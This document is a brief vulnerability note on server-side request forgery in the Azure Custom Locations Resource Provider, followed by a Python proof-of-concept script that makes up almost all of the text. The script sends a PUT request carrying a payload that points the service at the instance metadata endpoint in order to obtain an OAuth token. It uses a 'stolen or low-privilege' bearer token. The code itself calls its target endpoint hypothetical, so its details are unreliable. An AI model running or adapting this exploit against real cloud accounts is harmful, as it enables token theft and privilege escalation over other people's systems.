Server-side request forgery (ssrf) in Azure Custom Locations Resource Provider (RP) allows an authorized attacker to elevate privileges over a network.
The following code is for security research and authorized testing only.
python
import requests
# This is a demonstration PoC for the SSRF vulnerability in Azure Custom Locations RP.
# Attackers use a low-privilege token to send a malicious request containing an internal URL.
# Target endpoint (Hypothetical based on the product name)
target_url = "https://management.azure.com/subscriptions/{subscription_id}/resourceGroups/{rg}/providers/Microsoft.ExtendedLocation/customLocations/{location_name}?api-version=2021-08-31-preview"
# Malicious internal URL (e.g., Azure Instance Metadata Service)
# The goal is to force the RP to access this internal endpoint
ssrf_payload = {
"properties": {
"hostResourceId": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.core.windows.net/"
}
}
# Headers with a stolen or low-privilege bearer token
headers = {
"Authorization": "Bearer <LOW_PRIV_TOKEN>",
"Content-Type": "application/json"
}
try:
# Sending the malicious request
response = requests.put(target_url, json=ssrf_payload, headers=headers)
# Checking if the SSRF was triggered (e.g., by response time or leaked metadata)
if response.status_code == 200 or response.status_code == 202:
print("[+] Request sent successfully. Check for SSRF indicators.")
print("[+] Response Body:", response.text)
else:
print("[-] Request failed with status code:", response.status_code)
except Exception as e:
print(f"[-] An error occurred: {e}")